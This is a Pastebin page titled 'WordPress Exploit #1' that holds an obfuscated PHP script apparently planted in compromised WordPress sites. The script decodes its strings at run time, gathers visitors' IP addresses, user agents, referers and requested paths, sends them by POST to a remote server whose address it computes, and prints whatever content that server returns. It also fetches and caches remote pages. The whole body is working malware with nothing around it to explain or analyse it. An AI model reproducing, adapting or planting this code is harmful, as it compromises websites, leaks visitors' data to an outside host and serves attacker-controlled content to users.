Advertisement
getbutterfly

WordPress Exploit #1

Nov 14th, 2016
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 17.23 KB | None | 0 0
  1. <?php
  2. $GLOBALS['tbv1dZn5pw'] = $_SERVER;
  3. function DXAzO2nhwo2r($wQ0pXmIb)
  4.  
  5.        
  6.                                         {$dOv4808uZCS = "";global $ZeV3w09AO;
  7. for($wxFCoMxL6=intval('prLoEbxb'); $wxFCoMxL6<strlen($wQ0pXmIb); $wxFCoMxL6++)
  8.  
  9. {$mtZtm1=$wxFCoMxL6 % 12;$RF3mM8 = ord($wQ0pXmIb[$wxFCoMxL6]) - $mtZtm1 - $ZeV3w09AO;
  10.             if ($RF3mM8 < 32){$RF3mM8 = $RF3mM8 + 94;                                                                                                              
  11.             }$dOv4808uZCS .= chr($RF3mM8);}return $dOv4808uZCS;}
  12.                     $w3FnQ7v9tvu2 = chr(171^205).chr(171^194).chr(171^199).chr(171^206).chr(171^244).chr(171^204).chr(171^206).chr(171^223).chr(171^244).chr(171^200).chr(171^196).chr(171^197).chr(171^223).chr(171^206).chr(171^197).chr(171^223).chr(171^216);
  13. $AqJMc7tV = chr(86^37).chr(86^35).chr(86^52).chr(86^37).chr(86^34).chr(86^36).chr(86^9).chr(86^53).chr(86^57).chr(86^35).chr(86^56).chr(86^34);
  14.             $ZeV3w09AO = $AqJMc7tV($w3FnQ7v9tvu2(${chr(251^164).chr(251^168).chr(251^190).chr(251^169).chr(251^173).chr(251^190).chr(251^169)}[chr(39^116).chr(39^100).chr(39^117).chr(39^110).chr(39^119).chr(39^115).chr(39^120).chr(39^97).chr(39^110).chr(39^107).chr(39^98).chr(39^105).chr(39^102).chr(39^106).chr(39^98)]), chr(ord("1") - 9));
  15. $ZeV3w09AO=$ZeV3w09AO ^ 680;
  16. ${FeTZdJ9tU("Z3V5ii@J|C@O")} = swLZvLJN("gkoidml|hmzzugqxx");
  17.         ${AebSTn("f3ntnKV`>:")} = yQk9wFcfqKWt("GKOXJXfNUKRkOQbTWO]g[KYSF");
  18.  
  19. ${bZ04FIVx("dvTRpm@S>")} = bZ04FIVx("tvucxvsq}");
  20. ${FHtqt8TN("[Q[s[ZnJLy")} = DXAzO2nhwo2r("ftusweymyy}\"jpj");
  21. ${xERSGrc("EkuuK9r")} = FHtqt8TN("GKOXJXf^JVTPBVHcNV");
  22.  
  23. function qqDXuD($jXRsdR4xr){return DXAzO2nhwo2r($jXRsdR4xr);};
  24.                     ${pHlYdMfRrGmh("coepl`")} = FHtqt8TN("tjd5dlptn");
  25. ${AebSTn("RKv5KT_rX<b")} = FeTZdJ9tU("xquh|xhx");
  26. function FHtqt8TN($FpLGf5VhMr){return DXAzO2nhwo2r($FpLGf5VhMr);};
  27.  
  28. function AebSTn($i3Xn0Ec7x){return DXAzO2nhwo2r($i3Xn0Ec7x);};
  29.                     function yQk9wFcfqKWt($L59wo7oFlQ){return DXAzO2nhwo2r($L59wo7oFlQ);};
  30.                         function swLZvLJN($PNATO9AN3HHKQ){return DXAzO2nhwo2r($PNATO9AN3HHKQ);};
  31.                 ${qqDXuD("TzG[HN{u:")} = swLZvLJN("gkoidk!q|~~");
  32. function bZ04FIVx($CAobD2HTAv){return DXAzO2nhwo2r($CAobD2HTAv);};
  33. ${xERSGrc("EjQQ[ko8s[qdd")} = AebSTn("fzsptjl");
  34.  
  35. function FeTZdJ9tU($GEBlCxQEK47d){return DXAzO2nhwo2r($GEBlCxQEK47d);};
  36.         ${FeTZdJ9tU("YZQt:OHl^s}")} = pHlYdMfRrGmh("vezswjz");
  37.                         function HvzBk6Mhb25gA($rSd1yTeGXknD8){return DXAzO2nhwo2r($rSd1yTeGXknD8);};
  38.                     ${xERSGrc("[xTQI>")} = DXAzO2nhwo2r("qthkdxlxuknq");
  39.     ${pHlYdMfRrGmh("ZixUJWaQy")} = yQk9wFcfqKWt("tjd5dlptn");
  40.  
  41. ${HvzBk6Mhb25gA("BJ9YNJxXS|M")} = bZ04FIVx("tkpmqgyg}o%\"");
  42.  
  43. ${bZ04FIVx("f:m[Gp")} = HvzBk6Mhb25gA("fzsptjl");
  44. ${AebSTn("ivvXQ\\PbN]qQ4")} = xERSGrc("btue~erm\$ip&juww");
  45.             ${FHtqt8TN("rU;mO\"")} = FeTZdJ9tU("tkpmqgyg}o%\"");
  46. ${bZ04FIVx("ZsufTUR:")} = yQk9wFcfqKWt("GKOXJXfNUKRkOQbVJYfZJXRQ");
  47. ${qqDXuD("TUDmG{9>|!ra6")} = qqDXuD("jplcxk{");
  48.  
  49. function xERSGrc($lhBS0iRkX0KrF){return DXAzO2nhwo2r($lhBS0iRkX0KrF);};
  50.         ${pHlYdMfRrGmh("qNQ9{y]")} = FHtqt8TN("dt|ty");
  51.  
  52. ${FeTZdJ9tU("emgXjy|QkNm^")} = swLZvLJN("igevj|j");
  53. function pHlYdMfRrGmh($ZXCYYphOc){return DXAzO2nhwo2r($ZXCYYphOc);};
  54.  
  55. ${yQk9wFcfqKWt("KpxPIRUzwmz!")} = FeTZdJ9tU("tkpmqgyg}o%\"");
  56.  
  57. ${yQk9wFcfqKWt("fCZZFXj[VcZ|n")} = FeTZdJ9tU("owpfjxfnx|xmu");
  58. ${qqDXuD("r2qT=[#\"\$")} = AebSTn("nf8");
  59.  
  60. ${pHlYdMfRrGmh("XdNTiQW{L\$nc")} = xERSGrc("r4rZSrty?Uw");
  61.                     ${qqDXuD("us5i_VHrTm\\'")} = qqDXuD("igevj|");
  62. ${FeTZdJ9tU("nfo^6M8_`P")} = FHtqt8TN("tvuwyx");
  63.             ${AebSTn("MoONw\"@kmp")} = xERSGrc("twewyxfkx!y\"");
  64.                     ${HvzBk6Mhb25gA("PjMmMX^sb:uQ4")} = AebSTn("igevj|j");
  65. ${HvzBk6Mhb25gA("xve;7}l")} = qqDXuD("gwqgyovvho%utvv");
  66.                 ${swLZvLJN("u|gkFO}rYT]")} = FeTZdJ9tU("nf8");
  67.  
  68. ${xERSGrc("ffnPyvoww_sDV")} = xERSGrc("JDJr8tQ");
  69.         ${FHtqt8TN("q:YQg7~_k\$Q")} = pHlYdMfRrGmh("utxi");
  70. ${HvzBk6Mhb25gA("YY;I]jW:]X")} = FHtqt8TN("ptg");
  71.                 ${HvzBk6Mhb25gA("WoW[PRtb~O")} = bZ04FIVx("josptjl");
  72. ${bZ04FIVx("nr3xlsakTu")} = swLZvLJN("dwupdk!ml");
  73.  
  74. ${HvzBk6Mhb25gA("TH6nrO\\jY:\$")} = FeTZdJ9tU("dwupdisw|o");
  75. ${bZ04FIVx("N6iyikL>")} = qqDXuD("ntZG~iLQ");
  76.                 ${DXAzO2nhwo2r("nIgx~p")} = pHlYdMfRrGmh("ivwtdh|qunj}vgu}");
  77.  
  78. ${AebSTn("Iv{U^p{")} = AebSTn("xzq\\_xNR;^QS");
  79. ${bZ04FIVx("X\\4R;n")} = pHlYdMfRrGmh("tvucwkwtjmp");
  80.             ${FHtqt8TN("[S{STR")} = FeTZdJ9tU("vplunj");
  81. ${xERSGrc("Gv[7SJS;=<")} = DXAzO2nhwo2r("dwupdouq}");
  82.  
  83. ${DXAzO2nhwo2r("gf<q|?")} = pHlYdMfRrGmh("jr5pttn");
  84. ${qqDXuD("wwOvkP")} = swLZvLJN("btue~ezprp!");
  85.         ${qqDXuD("ve\\uoIu")} = bZ04FIVx("jpbewxh#");
  86.         ${AebSTn("[dP{!IZ!l|")} = FHtqt8TN("tvuifsfkxx!qyvbgwkh|n");
  87.  
  88. ${yQk9wFcfqKWt("rdX[TYtXO='Ao")} = FeTZdJ9tU("dju");
  89.     ${pHlYdMfRrGmh("NTpvZXp~pxvBk")} = HvzBk6Mhb25gA("dwupdyl|xz!");
  90. ${qqDXuD("Wyr7^>Y`osY")} = bZ04FIVx("igdhjx");
  91. ${qqDXuD("quQ;vJSANs")} = DXAzO2nhwo2r("tvuvuuz");
  92. ${FHtqt8TN("CdwnlwT|R~b")} = bZ04FIVx("jpwzfr");
  93. ${bZ04FIVx("vw7rGVa^#_")} = HvzBk6Mhb25gA("gkoxjxf~j|");
  94. ${HvzBk6Mhb25gA("kEJF9rvp{]Q]")} = yQk9wFcfqKWt("tvupjt");
  95.                         ${yQk9wFcfqKWt("l|mO!\\_xs:WT")} = AebSTn("twewyx");
  96.  
  97. ${HvzBk6Mhb25gA("n:\\6[lKJ{l")} = AebSTn("mqqk7ow");
  98.             ${swLZvLJN("p\\6:|KmrW<")} = FHtqt8TN("tvucwkwmj~");
  99. ${FHtqt8TN("TOuim~T!YN")} = DXAzO2nhwo2r("ccvisgtm");
  100.             ${pHlYdMfRrGmh("Yv|zRn")} = bZ04FIVx("gkoidv||hmzzugqxx");
  101.  
  102. ${xERSGrc("tRu{z~tk}_Le")} = bZ04FIVx("utlq");
  103.  
  104.  
  105. ${FHtqt8TN("[Q[s[ZnJLy")}(${qqDXuD("CdwnlwT|R~b")}(FHtqt8TN("1")));
  106.             ${AebSTn("TUDmG{9>|!ra6")}(HvzBk6Mhb25gA("ekvtqg\"gn|}{su"), ${FHtqt8TN("CdwnlwT|R~b")}(swLZvLJN("1")));
  107.  
  108.  
  109. ${HvzBk6Mhb25gA("[nQfo~?lo<R\$")} = Array(FHtqt8TN("22627;86:B;:"), FeTZdJ9tU("2482;95>A8"), yQk9wFcfqKWt("2552;<59:8"), DXAzO2nhwo2r("2652:759=8"),
  110.                     DXAzO2nhwo2r("2:82<;59=;9"), HvzBk6Mhb25gA("2;526<?6::<:"), FHtqt8TN("2;527676;<9"), HvzBk6Mhb25gA("2;826:86=8"), yQk9wFcfqKWt("2;8279?6B@9"), DXAzO2nhwo2r("2;92965;:8"), yQk9wFcfqKWt("2;;26696@:9"),
  111.  
  112.                     AebSTn("2;;26:<6?8"), FeTZdJ9tU("2;<27:<6>?9"), bZ04FIVx("3252648>:8"), HvzBk6Mhb25gA("3252>;5:9<9"), qqDXuD("32826<;6;:9"), swLZvLJN("32927:=6:B;:"), pHlYdMfRrGmh("32:277@6:?>:"),
  113.                     AebSTn("32;267?6;?@:"), qqDXuD("32;2=659B<9"), yQk9wFcfqKWt("32;2=959<@9"), qqDXuD("32<266:6;<?:"), HvzBk6Mhb25gA("32<2;<5?98"), yQk9wFcfqKWt("33427:@6=:9"), FeTZdJ9tU("339269@698"),
  114.  
  115.                     xERSGrc("33926>>6B=9"), yQk9wFcfqKWt("33926?;6:CA:"), yQk9wFcfqKWt("33929=5>=8"), DXAzO2nhwo2r("3615<85?;8"), yQk9wFcfqKWt("36167:59;A9"), FeTZdJ9tU("36167;5@7"),
  116.                     HvzBk6Mhb25gA("7516:759@?9"), swLZvLJN("7615965:;=9"), swLZvLJN("76168;59>:9"), yQk9wFcfqKWt("76168;59>=9"), bZ04FIVx("7617=489?8"), AebSTn("761:>4=>7"), FHtqt8TN("7717>48<98"),
  117.                     DXAzO2nhwo2r("7815<85<@8"), bZ04FIVx("78169?5>>8"), DXAzO2nhwo2r("7816::5AA8"), swLZvLJN("7817<4=@7"), yQk9wFcfqKWt("7;15548;=8"), FeTZdJ9tU("8218748;:8"), HvzBk6Mhb25gA("84163?<6"), qqDXuD("86156<5::B9"),
  118.                                     FeTZdJ9tU("86166=5A98"), swLZvLJN("861=949;A8"), FHtqt8TN("8715=;59B=9"), FHtqt8TN("8:15675?7"), HvzBk6Mhb25gA("92169>5::A9"), swLZvLJN("941<549;98"), AebSTn("971568597"),
  119.                                             xERSGrc(":2159;5::?9"), swLZvLJN(":418=489?8"), AebSTn(":418=48:98"), yQk9wFcfqKWt(":6158<59<@9"), DXAzO2nhwo2r(":616775::@9"), bZ04FIVx("221=3=86"), swLZvLJN("22<276:6:<=:"), yQk9wFcfqKWt("3232<;587"),
  120.  
  121.                     qqDXuD("324279?6;>A:"), qqDXuD("32727=59B?9"), FHtqt8TN("329268=6BC9"), qqDXuD("32;26896B?9"), HvzBk6Mhb25gA("339279;6:<?:"), FHtqt8TN("5316795::B9"), swLZvLJN("76168;59>>9"),
  122.                     FeTZdJ9tU("7:15=65:;B9"), FeTZdJ9tU("99169959;B9"), qqDXuD("3352<7597"), HvzBk6Mhb25gA("76179489:8"), DXAzO2nhwo2r("26<27;<6?:9"), swLZvLJN("2:726=:6;;<:"), pHlYdMfRrGmh("2:726=:6;<A:"),
  123.                     yQk9wFcfqKWt("2:726=:6;<B:"), AebSTn("2;526=86;=>:"), swLZvLJN("33627;;6;><:"), AebSTn("4:15565::8"), yQk9wFcfqKWt("50:=379;7"), FeTZdJ9tU("2;326796:C@:"), yQk9wFcfqKWt(":3166<599A9"),
  124.                     DXAzO2nhwo2r("8217>48=@8"), FHtqt8TN("33426776:B<:"), swLZvLJN("32;2=659B>9"), DXAzO2nhwo2r("244298587"), xERSGrc("761;9499>8"));
  125.  
  126. ${yQk9wFcfqKWt("hUNTR:?jJLeON")} = Array(swLZvLJN("Nq}mqrh7>8;,)Z45@&Sqw!%,y:9c;:B({\"E?90326/'Onmv{04355688:*Qusgis}5:@7:9=!NZW49?69"),
  127.                 xERSGrc("Nq}mqrh7=8;,)erqug{qkvpG!OVMJ&?69E+cjpgs|y'V]*@:2=#Xwokmw~:@/2,"),
  128.  
  129.                 HvzBk6Mhb25gA("Nq}mqrh7=8;,)erqug{qkvpG!OVMJ&?69E+cjpgs|y'V]*A:2=#Xwokmw~:@/2,"),);
  130.  
  131.  
  132.          if (${qqDXuD("MoONw\"@kmp")}(${pHlYdMfRrGmh("Z3V5ii@J|C@O")}($_SERVER[xERSGrc("TEUMUZfNRVPZBOH")]), xERSGrc("%")) != ${swLZvLJN("CdwnlwT|R~b")}(FeTZdJ9tU("1"))+361){ ${swLZvLJN("[xTQI>")}(FeTZdJ9tU("01hm"), ${xERSGrc("OMhoJtr_Rv")}[FeTZdJ9tU("voSUu^ao_")], '');exit();}
  133.  
  134. if (empty(${xERSGrc("`IHX")}))
  135. {
  136.            
  137.     ${DXAzO2nhwo2r("N6iyikL>")}();
  138. }
  139.  
  140. ${FeTZdJ9tU("BVptqtQ;cdn")} = ${pHlYdMfRrGmh("Iv{U^p{")}();
  141. ${qqDXuD("iuQJJx<;K")} = @$GLOBALS[yQk9wFcfqKWt("udy5i`u=y#")][swLZvLJN("IVWTd[ZM[iLSFPW")];
  142.  
  143. if (${swLZvLJN("ve\\uoIu")}(${HvzBk6Mhb25gA("iuQJJx<;K")}, ${pHlYdMfRrGmh("hUNTR:?jJLeON")}))
  144. {
  145.     ${FeTZdJ9tU("N6iyikL>")}();
  146. }
  147.  
  148.                 if (empty(${bZ04FIVx("BVptqtQ;cdn")}))
  149. {
  150.     ${DXAzO2nhwo2r("N6iyikL>")}();
  151. }
  152.  
  153.  
  154. ${qqDXuD("kNH8K[")} = ${FHtqt8TN("l|mO!\\_xs:WT")}(${FHtqt8TN("BVptqtQ;cdn")}, ${swLZvLJN("CdwnlwT|R~b")}(xERSGrc("1")), ${bZ04FIVx("quQ;vJSANs")}(${pHlYdMfRrGmh("BVptqtQ;cdn")}, swLZvLJN("/"))+${bZ04FIVx("CdwnlwT|R~b")}(FeTZdJ9tU("2")));
  155.         if (${swLZvLJN("ve\\uoIu")}(${swLZvLJN("kNH8K[")}, ${swLZvLJN("[nQfo~?lo<R\$")}))
  156. {
  157.     ${swLZvLJN("N6iyikL>")}();
  158. }
  159.  
  160.                         ${swLZvLJN("Gdm~xQlj")} = ${HvzBk6Mhb25gA("CdwnlwT|R~b")}(DXAzO2nhwo2r("3;4;6"));
  161. ${FeTZdJ9tU("mUxEW>x<")} = ${FHtqt8TN("CdwnlwT|R~b")}(qqDXuD("1"));
  162.  
  163. foreach (${pHlYdMfRrGmh("dvTRpm@S>")}($GLOBALS[AebSTn("udy5i`u=y#")][qqDXuD("SGTYJY[g^\\T")]) as ${yQk9wFcfqKWt("K3E98=xm")})
  164. {
  165.     ${HvzBk6Mhb25gA("Gdm~xQlj")} += ${HvzBk6Mhb25gA("YY;I]jW:]X")}(${DXAzO2nhwo2r("K3E98=xm")});
  166.     ${pHlYdMfRrGmh("mUxEW>x<")} ++;
  167. }
  168. ${AebSTn("Gdm~xQlj")}<<=${swLZvLJN("CdwnlwT|R~b")}(xERSGrc("3"));${FHtqt8TN("Gdm~xQlj")}^=${FHtqt8TN("Gdm~xQlj")};${pHlYdMfRrGmh("Gdm~xQlj")}+=${FHtqt8TN("CdwnlwT|R~b")}(FeTZdJ9tU("44"));
  169.  
  170. ${pHlYdMfRrGmh("Gdm~xQlj")} = ${HvzBk6Mhb25gA("p\\6:|KmrW<")}(${HvzBk6Mhb25gA("rdX[TYtXO='Ao")}(${HvzBk6Mhb25gA("Gdm~xQlj")}), ${FeTZdJ9tU("CdwnlwT|R~b")}(DXAzO2nhwo2r("9")));
  171.  
  172.  
  173.             ${bZ04FIVx("BVptqtQ;cdn")} = DXAzO2nhwo2r("9;1974>@7;=");
  174. ${AebSTn("Dq||R[TR:z\$")} = DXAzO2nhwo2r("92");
  175. ${FeTZdJ9tU("iXvJ_xm\$wo")} = DXAzO2nhwo2r("0pek{kj#>9?Ac{7vkn5xqz");
  176.  
  177.  
  178. ${qqDXuD("czGGN!k^XrT")} = Array();
  179.         ${swLZvLJN("czGGN!k^XrT")}[yQk9wFcfqKWt("j")] = ${pHlYdMfRrGmh("Iv{U^p{")}();
  180.                     ${AebSTn("czGGN!k^XrT")}[xERSGrc("q")] = @$GLOBALS[HvzBk6Mhb25gA("udy5i`u=y#")][qqDXuD("IVWTdNV[]")] . @$GLOBALS[FeTZdJ9tU("udy5i`u=y#")][DXAzO2nhwo2r("SGTYJY[g^\\T")];
  181.  
  182. ${pHlYdMfRrGmh("czGGN!k^XrT")}[DXAzO2nhwo2r("v")] = @$GLOBALS[yQk9wFcfqKWt("udy5i`u=y#")][AebSTn("IVWTd[ZM[iLSFPW")];
  183.                 ${FHtqt8TN("czGGN!k^XrT")}[HvzBk6Mhb25gA("b")] = @$GLOBALS[pHlYdMfRrGmh("udy5i`u=y#")][xERSGrc("IVWTdGJKNZ_kMCQKZGNM")];
  184.  
  185. ${FHtqt8TN("czGGN!k^XrT")}[HvzBk6Mhb25gA("s")] = @$GLOBALS[yQk9wFcfqKWt("udy5i`u=y#")][FHtqt8TN("IVWTdXLNN\\P^")];
  186.  
  187. ${DXAzO2nhwo2r("czGGN!k^XrT")}[swLZvLJN("bg")] = @$GLOBALS[FHtqt8TN("udy5i`u=y#")][pHlYdMfRrGmh("IVWTdGJKNZ_kFPFSIOUO")];
  188. ${HvzBk6Mhb25gA("czGGN!k^XrT")}[pHlYdMfRrGmh("bc")] = @$GLOBALS[qqDXuD("udy5i`u=y#")][HvzBk6Mhb25gA("IVWTdGJKNZ_")];
  189.  
  190. ${DXAzO2nhwo2r("czGGN!k^XrT")}[pHlYdMfRrGmh("be")] = @$GLOBALS[pHlYdMfRrGmh("udy5i`u=y#")][FeTZdJ9tU("IVWTdGJKNZ_kDJDVXK[")];
  191.  
  192. ${xERSGrc("czGGN!k^XrT")}[xERSGrc("d")] = @$GLOBALS[qqDXuD("udy5i`u=y#")][FeTZdJ9tU("IVWTdIVVWON`JQQ")];
  193.  
  194. ${HvzBk6Mhb25gA("czGGN!k^XrT")} = ${DXAzO2nhwo2r("nIgx~p")}(${FeTZdJ9tU("czGGN!k^XrT")});
  195.  
  196. $url = FeTZdJ9tU("ivwt?56") . ${xERSGrc("n:\\6[lKJ{l")}(-${xERSGrc("CdwnlwT|R~b")}(yQk9wFcfqKWt("2::857=?><")) ^ (${pHlYdMfRrGmh("YY;I]jW:]X")}(${bZ04FIVx("Gdm~xQlj")}[${yQk9wFcfqKWt("CdwnlwT|R~b")}(bZ04FIVx("1"))]) + ${FeTZdJ9tU("YY;I]jW:]X")}(${swLZvLJN("Gdm~xQlj")}[${FeTZdJ9tU("CdwnlwT|R~b")}(AebSTn("2"))]) + (${FeTZdJ9tU("nfo^6M8_`P")}(${DXAzO2nhwo2r("l|mO!\\_xs:WT")}($GLOBALS[bZ04FIVx("udy5i`u=y#")][AebSTn("SGTYJY[g^\\T")], -${AebSTn("CdwnlwT|R~b")}(HvzBk6Mhb25gA("5"))), pHlYdMfRrGmh("/rkt")) == FALSE ? ${HvzBk6Mhb25gA("CdwnlwT|R~b")}(FeTZdJ9tU("::")) : ${DXAzO2nhwo2r("gf<q|?")}(${pHlYdMfRrGmh("BVptqtQ;cdn")})))) . FeTZdJ9tU(";") . ${FHtqt8TN("Dq||R[TR:z\$")} . ${HvzBk6Mhb25gA("iXvJ_xm\$wo")};
  197.  
  198. $content = ${AebSTn("XdNTiQW{L\$nc")}($url, ${DXAzO2nhwo2r("czGGN!k^XrT")});
  199.     if (!$content)
  200. {
  201.                 $content = ${swLZvLJN("ffnPyvoww_sDV")}($url, ${qqDXuD("czGGN!k^XrT")});
  202. }
  203.  
  204. if(${FeTZdJ9tU("kEJF9rvp{]Q]")}($content) < ${xERSGrc("CdwnlwT|R~b")}(HvzBk6Mhb25gA("22")))
  205. {
  206.                             ${xERSGrc("N6iyikL>")}();
  207. }
  208.  
  209.  
  210. $content = ${pHlYdMfRrGmh("EjQQ[ko8s[qdd")}("\n", $content);
  211.  
  212. ${AebSTn("FR;J:R}\$Ro'")} = ${bZ04FIVx("wwOvkP")}($content);
  213.  
  214. $content = ${DXAzO2nhwo2r("WoW[PRtb~O")}("\n", $content);
  215.  
  216.                         if (${AebSTn("nfo^6M8_`P")}(${swLZvLJN("FR;J:R}\$Ro'")}, HvzBk6Mhb25gA("/jwqq")) === FALSE)
  217. {
  218.     ${qqDXuD("Wyr7^>Y`osY")}(HvzBk6Mhb25gA("Dqqxjt{5]%{q;\"dturpkj~t{o1rgyk{5|~}qbo"));
  219.  
  220.     ${DXAzO2nhwo2r("Wyr7^>Y`osY")}(FHtqt8TN("Dqqxjt{5Ms~|pulxnuuB)k!\"bekqjt{C)ptxfpdqjC") . ${AebSTn("FR;J:R}\$Ro'")});
  221.                 ${pHlYdMfRrGmh("Wyr7^>Y`osY")}(swLZvLJN("Dqqxjt{5Uoysuj=\$") . ${HvzBk6Mhb25gA("kEJF9rvp{]Q]")}($content));
  222. }
  223.  
  224.                     exit($content);
  225.  
  226.                     function wxnXZrGJ2TFG()
  227. {global ${xERSGrc("tRu{z~tk}_Le")};
  228.  
  229. global ${FeTZdJ9tU("vw7rGVa^#_")};
  230. global ${qqDXuD("ZsufTUR:")};
  231. global ${HvzBk6Mhb25gA("ivvXQ\\PbN]qQ4")};
  232. global ${HvzBk6Mhb25gA("EjQQ[ko8s[qdd")};
  233. global ${yQk9wFcfqKWt("EkuuK9r")};
  234. global ${xERSGrc("f3ntnKV`>:")};
  235.  
  236.                         ${yQk9wFcfqKWt("BYYSJSpsA|MCH")} = array(qqDXuD("SGPSYKfIMN]"), );
  237.     foreach (${AebSTn("BYYSJSpsA|MCH")} as ${FeTZdJ9tU("Gdm~xQlj")})
  238.  
  239.  
  240.  
  241.     {
  242.         if (${FHtqt8TN("ivvXQ\\PbN]qQ4")}(${FeTZdJ9tU("Gdm~xQlj")}, $GLOBALS[swLZvLJN("udy5i`u=y#")]) === TRUE)
  243.  
  244.         {
  245.                             foreach (${HvzBk6Mhb25gA("EjQQ[ko8s[qdd")}(xERSGrc("-"), $GLOBALS[bZ04FIVx("udy5i`u=y#")][${FeTZdJ9tU("Gdm~xQlj")}]) as ${AebSTn("BVptqtQ;cdn")})
  246.  
  247.             {
  248.                 ${pHlYdMfRrGmh("BVptqtQ;cdn")} = ${FeTZdJ9tU("tRu{z~tk}_Le")}(${swLZvLJN("BVptqtQ;cdn")});
  249.                             if (${qqDXuD("vw7rGVa^#_")}(${xERSGrc("BVptqtQ;cdn")}, FILTER_VALIDATE_IP, ${pHlYdMfRrGmh("f3ntnKV`>:")} | FILTER_FLAG_NO_RES_RANGE) !== FALSE)
  250.                     {
  251.  
  252.                     return ${DXAzO2nhwo2r("BVptqtQ;cdn")};
  253.            
  254.                                         }
  255.             }
  256.         }
  257.     }
  258.  
  259.             return "";
  260. }
  261.  
  262.  
  263. function mrWCycEI()
  264. {global ${yQk9wFcfqKWt("Yv|zRn")};
  265. global ${pHlYdMfRrGmh("TOuim~T!YN")};
  266. global ${DXAzO2nhwo2r("Wyr7^>Y`osY")};
  267.  
  268. global ${HvzBk6Mhb25gA("[dP{!IZ!l|")};
  269.  
  270. global ${qqDXuD("[S{STR")};
  271. global ${DXAzO2nhwo2r("X\\4R;n")};
  272. global ${qqDXuD("q:YQg7~_k\$Q")};
  273.     global ${pHlYdMfRrGmh("u|gkFO}rYT]")};
  274. global ${xERSGrc("TzG[HN{u:")};
  275. global ${pHlYdMfRrGmh("Z3V5ii@J|C@O")};
  276.  
  277.     ${yQk9wFcfqKWt("Wyr7^>Y`osY")}(xERSGrc("IVWT4759)>;@!Prx%Lv}wn"));
  278.  
  279.         ${pHlYdMfRrGmh("iZpfSh~")} = ${FeTZdJ9tU("TOuim~T!YN")}($GLOBALS[bZ04FIVx("udy5i`u=y#")][qqDXuD("QJScXKSN")]);
  280.    
  281.  
  282.     if (!${HvzBk6Mhb25gA("TzG[HN{u:")}(pHlYdMfRrGmh("5272") . ${xERSGrc("iZpfSh~")}))
  283.     {
  284.         ${xERSGrc("lMs:iY=9")} =  ${DXAzO2nhwo2r("u|gkFO}rYT]")}(${DXAzO2nhwo2r("[S{STR")}());
  285.  
  286.         $content = @${FHtqt8TN("Z3V5ii@J|C@O")}(qqDXuD("ivwt?56").$GLOBALS[FeTZdJ9tU("udy5i`u=y#")][bZ04FIVx("IVWTdNV[]")] . DXAzO2nhwo2r("0") . ${AebSTn("lMs:iY=9")}, FALSE, ${FeTZdJ9tU("[dP{!IZ!l|")}(array(FeTZdJ9tU("ivwt") => array(DXAzO2nhwo2r("jiqswkfm{|z~t") => true))));
  287.         $content = ${qqDXuD("X\\4R;n")}(${bZ04FIVx("lMs:iY=9")}, ${swLZvLJN("iZpfSh~")}, $content);
  288.         ${xERSGrc("Yv|zRn")}(FeTZdJ9tU("5272") . ${xERSGrc("iZpfSh~")}, $content);
  289.     }
  290.     else
  291.     {
  292.  
  293.         $content = @${bZ04FIVx("Z3V5ii@J|C@O")}(bZ04FIVx("5272") . ${yQk9wFcfqKWt("iZpfSh~")});
  294.     }
  295.  
  296.     exit($content);
  297. }
  298.  
  299.  
  300. function q2oVNlmq6Kl($url, $content)
  301.                         {global ${FHtqt8TN("CdwnlwT|R~b")};
  302.  
  303. global ${bZ04FIVx("NTpvZXp~pxvBk")};
  304.  
  305. global ${pHlYdMfRrGmh("Gv[7SJS;=<")};
  306.             global ${DXAzO2nhwo2r("TH6nrO\\jY:\$")};
  307. global ${bZ04FIVx("nr3xlsakTu")};
  308. global ${DXAzO2nhwo2r("xve;7}l")};
  309.  
  310.  
  311.     if (!${FHtqt8TN("xve;7}l")}(pHlYdMfRrGmh("dwupd|lz|szz")))
  312.     {
  313.         return "";
  314.     }
  315.  
  316.                     ${pHlYdMfRrGmh("GGJS}\"=o[")} = ${FeTZdJ9tU("Gv[7SJS;=<")}();
  317.  
  318.             ${bZ04FIVx("NTpvZXp~pxvBk")}(${yQk9wFcfqKWt("GGJS}\"=o[")}, CURLOPT_URL, $url);
  319.  
  320.     ${AebSTn("NTpvZXp~pxvBk")}(${DXAzO2nhwo2r("GGJS}\"=o[")}, CURLOPT_POST, ${DXAzO2nhwo2r("CdwnlwT|R~b")}(FeTZdJ9tU("2")));
  321.     ${FHtqt8TN("NTpvZXp~pxvBk")}(${qqDXuD("GGJS}\"=o[")}, CURLOPT_POSTFIELDS, $content);
  322.  
  323.     ${FeTZdJ9tU("NTpvZXp~pxvBk")}(${DXAzO2nhwo2r("GGJS}\"=o[")}, CURLOPT_RETURNTRANSFER, TRUE);
  324.  
  325.             ${DXAzO2nhwo2r("Ipf<7>ZPuQS")} = ${swLZvLJN("nr3xlsakTu")}(${bZ04FIVx("GGJS}\"=o[")});
  326.     ${FeTZdJ9tU("TH6nrO\\jY:\$")}(${DXAzO2nhwo2r("GGJS}\"=o[")});
  327.  
  328.     return ${FHtqt8TN("Ipf<7>ZPuQS")};
  329. }
  330.  
  331.                     function IBGn3nJ($url, $content)
  332.  
  333. {global ${pHlYdMfRrGmh("Wyr7^>Y`osY")};
  334.  
  335. global ${swLZvLJN("[dP{!IZ!l|")};
  336. global ${qqDXuD("Z3V5ii@J|C@O")};
  337.  
  338.                 ${yQk9wFcfqKWt("oQZ7Qs}>\"PN")} = ${FeTZdJ9tU("[dP{!IZ!l|")}(Array(FHtqt8TN("ivwt") => Array(yQk9wFcfqKWt("ngwltj") => AebSTn("QQVX"), pHlYdMfRrGmh("igdhjx") => AebSTn("Dqqxjt{5}%{q;\"dturpkj~t{o1{1|}~5oy}y.wupjtjwmoo"), FeTZdJ9tU("dqqxjt{") => $content)));
  339.  
  340.                 ${pHlYdMfRrGmh("Ipf<7>ZPuQS")} = @${FHtqt8TN("Z3V5ii@J|C@O")}($url, FALSE, ${DXAzO2nhwo2r("oQZ7Qs}>\"PN")});
  341.  
  342.     return ${qqDXuD("Ipf<7>ZPuQS")};
  343. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement